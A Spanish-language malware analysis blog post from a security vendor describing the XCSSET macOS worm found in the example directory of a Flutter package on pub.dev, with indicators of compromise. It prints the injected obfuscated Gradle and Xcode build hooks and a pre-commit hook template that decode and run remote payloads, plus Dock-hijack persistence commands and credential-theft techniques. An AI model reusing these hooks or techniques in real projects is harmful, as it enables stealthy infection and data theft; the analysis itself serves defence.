Aikido

Un paquete de Flutter comprometido en pub.dev contiene el malware XCSSET

Escrito por
Ilyas Makari

Hoy, pub.dev se une a la lista de registros de paquetes en los que hemos encontrado malware. Hemos detectado una variante de XCSSET oculta en universal_file_viewer (versión 0.1.5), un paquete de vista previa de archivos para Flutter en pub.dev con alrededor de 500 descargas. Este es el primer paquete comprometido que detectamos en pub.dev, el repositorio oficial de paquetes para Dart y Flutter. A diferencia de los ataques a la cadena de suministro de npm recientes con los que quizás estés familiarizado, este no fue un caso en el que alguien atacara este paquete deliberadamente.

XCSSET es un gusano de macOS que inserta un script de compilación malicioso (build hook) en cada proyecto de Android Gradle, proyecto de Xcode y repositorio de git que encuentra en una máquina infectada. La máquina del mantenedor estaba infectada y, cuando publicó una nueva versión del paquete desde ese equipo, los archivos infectados se incluyeron en ella. El paquete de pub.dev proviene de un repositorio de GitHub comprometido.

Una búsqueda rápida en GitHub muestra que esto sigue ocurriendo hoy en día, con otros mantenedores enviando activamente proyectos infectados sin saberlo:

Para obtener un contexto más amplio sobre XCSSET, consulta el informe de Unit 42 The Xcode Assassin Returns y las publicaciones de Microsoft de marzo y septiembre de 2025.

Lo que encontramos en el paquete

universal_file_viewer es un paquete de pub.dev que proporciona widgets integrados de vista previa de archivos para aplicaciones de Flutter: PDF, Word, Excel, vídeo, Markdown y texto plano. El código de su biblioteca Dart en lib/ está completamente limpio. Todos los archivos infectados se encuentran dentro de example/ directorio, que se incluye en el archivo tarball de pub.dev pero que nunca se compila cuando el paquete se utiliza como dependencia. Añadir simplemente universal_file_viewer a su pubspec.yaml y compilar su propia aplicación no desencadena nada. El riesgo lo corre quien clona el repositorio y compila explícitamente la aplicación de ejemplo de forma local. No se trata de un ataque dirigido al paquete ni a sus dependencias. El gusano simplemente se adjuntaba a cualquier archivo de compilación que encontraba en la máquina infectada del mantenedor, y la mayoría de los usuarios del paquete nunca se verán afectados.

Se infectaron tres configuraciones de compilación independientes, cada una inyectada de forma autónoma por los módulos de gusano de XCSSET:

example/android/app/build.gradle.kts contiene un preBuild gancho inyectado por el android_finder módulo:

tasks.all {
    if (name.contains("preBuild")) {
        doLast {
            ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
        }
    }
}

printf xAxd | tr -d A reconstruye xxd en tiempo de ejecución para burlar los escáneres basados en cadenas. El blob hexadecimal se descodifica en una petición curl a 5yotmxcc54l9xda[.]ru/a con la etiqueta de campaña p=android_kotlin. Esto se ejecuta de forma silenciosa en cada compilación de Gradle, descartando la salida.

example/ios/Runner.xcodeproj/project.pbxproj y example/macos/Runner.xcodeproj/project.pbxproj ambos contienen una PBXBuildRule entrada que se activa cuando cualquier .md archivo es procesado durante una compilación:

script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";

A3EA261 es una configuración de compilación definida en el mismo archivo. Para iOS está ofuscada en base64 (printf bdase64 | tr -d d), apuntando a qdgs232i-q[.]ru con la etiqueta p=xcode_rule. Para macOS está ofuscada en hexadecimal (printf xxVd | tr -d V), apuntando a ejntin6hkjt7gj2[.]ru con la misma etiqueta. Ambas se ejecutan al compilar el proyecto.

La cadena de infección

XCSSET se compone de varias fases y módulos, cada uno de los cuales realiza una tarea específica.

Fases

  • Fase 1: el gancho de compilación (build hook) se comunica con el C2 y recibe un script que vuelve a realizar la solicitud con el sistema operativo y el nombre de usuario
  • Fase 2: el servidor devuelve un script de shell cifrado que recopila el número de serie del hardware y la configuración regional, descarga el cargador principal en /tmp/h, compila un paquete de aplicación invisible a su alrededor, lo inicia y luego borra ambos en un plazo de diez segundos
  • Fase 3: el cargador es un AppleScript compilado de solo ejecución que se descifra a sí mismo mediante AES-256-CBC con una clave basada en la fecha, y luego ejecuta la carga útil (payload) descifrada en la memoria
  • Fase 4: la carga útil descifrada es el orquestador principal que distribuye todos los módulos

Módulos de propagación

  • android_finder: inyecta un preBuild malicioso en cada proyecto Android Gradle de la máquina. Cualquier desarrollador que compile uno de esos proyectos también se infecta
  • git_finder: escribe un hook malicioso pre-commit en todos los repositorios git de la máquina. Se activa en cada commit
  • replicator_finder: inyecta una fase de compilación maliciosa en cada proyecto de Xcode de la máquina. Cualquier desarrollador que compile uno resulta infectado

Persistencia

  • persist: reemplaza el icono de Launchpad en el Dock por un paquete falso que vuelve a activar la cadena cada vez que el usuario hace clic en él. Sobrevive a los reinicios y no deja rastro en las ubicaciones de persistencia estándar

Módulos de robo

  • browser_remote: elimina la entrada del llavero de Safe Storage de Chrome para interceptar su clave de cifrado regenerada, y luego exfiltra contraseñas guardadas, cookies y tokens de sesión
  • safari_remote: instala un paquete falso de Safari y exfiltra los datos locales de Safari
  • firefox_data: instala un binario nativo y exfiltra las credenciales de Firefox
  • tdesktop: cierra Telegram, lo reemplaza por una copia troyanizada y apunta a los datos de sesión
  • notes_app: espera a que Notes, Reminders o Calendar se abran y luego exfiltra sus datos
  • clipboard: lee y exfiltra el contenido del portapapeles
  • settings_app: suplanta a System Settings y utiliza sudo para la escalada de privilegios
  • data_folders_finder: recorre el directorio de inicio y exfiltra archivos de las carpetas seleccionadas

Todos los módulos de robo se descargan del C2 y se ejecutan en la memoria a través de osascript. No se escribe nada en el disco. Los datos robados se cifran con AES-256-CBC antes de enviarse a /u.

Cómo se propaga

Antes de ejecutar cualquier módulo de robo, el cargador despliega tres módulos de tipo gusano.

android_finder

android_finder busca en el directorio de usuario archivos de compilación de Android:

nice -n 15 find ~ -maxdepth 6 \
  \( -type d \( -name Movies -o -name Library ... \) -prune \) \
  -o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -print

Para cada coincidencia, confirma que se trata de un módulo de Android real antes de inyectar el código y, primero, limpia cualquier infección anterior. Es compatible tanto con Kotlin DSL como con archivos de compilación de Groovy. Cualquier desarrollador que compile uno de esos proyectos se infecta, al igual que cualquier persona que clone el repositorio y lo compile después.

git_finder

git_finder encuentra cada .git directorio en la máquina y escribe un pre-commit malicioso en cada uno. La carga útil del gancho es polimórfica: el dominio C2, el esquema de codificación y la profundidad de anidamiento se aleatorizan en cada infección. El resultado tiene este aspecto:

#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)

Cada commit realizado por el desarrollador, en cualquiera de sus repositorios, vuelve a activar de forma silenciosa toda la cadena. Si ya existe un gancho, el módulo elimina las líneas inyectadas anteriores mediante sed antes de adjuntar el contenido nuevo.

replicator_finder

replicator_finder es el vector clásico de XCSSET. Analiza project.pbxproj archivos, comprueba si existe archiveVersion = y sección PBXShellScriptBuildPhasee inyecta una fase de compilación Run Script. Cualquier desarrollador que abra y compile un proyecto de Xcode infectado resulta afectado. Esto se documenta desde 2020 y sigue formando parte del conjunto de herramientas junto con los otros dos vectores.

Persistencia oculta en el Dock

El persist el módulo responde a si esto sobrevive a un reinicio. Lo hace, y de un modo que evade las comprobaciones de persistencia estándar.

Descarga dockutil desde el C2 (/d/dockutil_arm64 o /d/dockutil_amd64), lo firma ad-hoc y genera un paquete de aplicación falso en ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. El Info.plist del paquete se parchea para suplantar a Launchpad:

plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plist

A continuación, utiliza dockutil para reemplazar el icono del Launchpad real en el Dock por el paquete falso. Al hacer clic en Launchpad, se abre el Launchpad real (open -b com.apple.launchpad.launcher) y se ejecuta el script malicioso en paralelo. En cada reinicio, se ejecuta la primera vez que el usuario hace clic en Launchpad.

Módulos de robo

Una vez establecidas la propagación y la persistencia, el cargador despliega los módulos de robo. Cada uno se recupera de /s/<module> y se ejecuta mediante osascript -e "$(curl ...)". No se escribe nada en el disco.

browser_remote descarga un binario nativo (cd_arm64 o cd_amd64) del C2, elimina las entradas de GoogleUpdater y SoftwareUpdate en Chrome y ejecuta security delete-generic-password para extraer la entrada del llavero de almacenamiento seguro de Chrome. Al eliminar esta entrada, se fuerza a Chrome a regenerar su clave de cifrado, que el binario intercepta para descifrar contraseñas, cookies y tokens de sesión guardados.

safari_remote descarta un paquete de Safari falso en ~/Library/ASafari/ y ~/Library/Caches/com[.]beta[.]Safari y exfiltra los datos locales de Safari.

firefox_data descargas hbdm_arm64 o hbdm_amd64 y lo ejecuta con -c password --zip, lo que genera un firefox_browser_data.zip subido a /u.

tdesktop ejecuta killall -9 Telegram, descarga un paquete modificado Telegram.app desde el C2 y coloca el reemplazo en su sitio con firma ad-hoc. Ataca los datos de sesión de Telegram tanto desde la ruta clásica (~/Library/Application Support/Telegram Desktop/tdata) como desde la ruta del contenedor aislado (sandboxed).

notes_app espera a que Notes, Reminders o Calendar se estén ejecutando, se instala dentro del paquete de la aplicación correspondiente y exfiltra notes_app_data.zip.

clipboard ejecuta un bucle pbpaste y exfiltra el contenido del portapapeles.

settings_app crea un paquete de Ajustes del Sistema falso que aparece listado bajo "Preferencias del Sistema" y "Preferencias" en Spotlight, descarga un binario independiente mac_bin_daemon_app desde el C2 y ejecuta comandos mediante sudo -u para la escalada de privilegios.

data_folders_finder recorre el directorio de inicio y exfiltra archivos de las carpetas objetivo hacia /u.

Todos los datos robados se envían a /u a través de POST multiparte, cifrados con una clave AES-256-CBC.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Indicadores de compromiso

Dominios C2

  • 5yotmxcc54l9xda[.]ru
  • qdgs232i-q[.]ru
  • ejntin6hkjt7gj2[.]ru

Artefactos de archivos

  • project.pbxproj que contiene un PBXBuildRule con sh -c "${A3EA261}"
  • build.gradle o build.gradle.kts que contiene una invocación de shell ofuscada usando printf xAxd | tr -d A para reconstruir xxd
  • .git/hooks/pre-commit que contiene base64 --decode | base64 --decode o xxd -p -r | xxd -p -r
Compartir:

https://www.aikido.dev/blog/compromised-flutter-package-on-pub-dev-contains-xcsset-malware

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Consigue seguridad hoy mismo,
de forma rápida y gratuita.

Protege tu código, cloud y runtime en un sistema centralizado.
Conecta un repositorio para descubrir qué encuentran los agentes de razonamiento en tu base de código.

No se requiere tarjeta de crédito | Resultados del análisis en 32 segundos.
Con la confianza de más de 150k organizaciones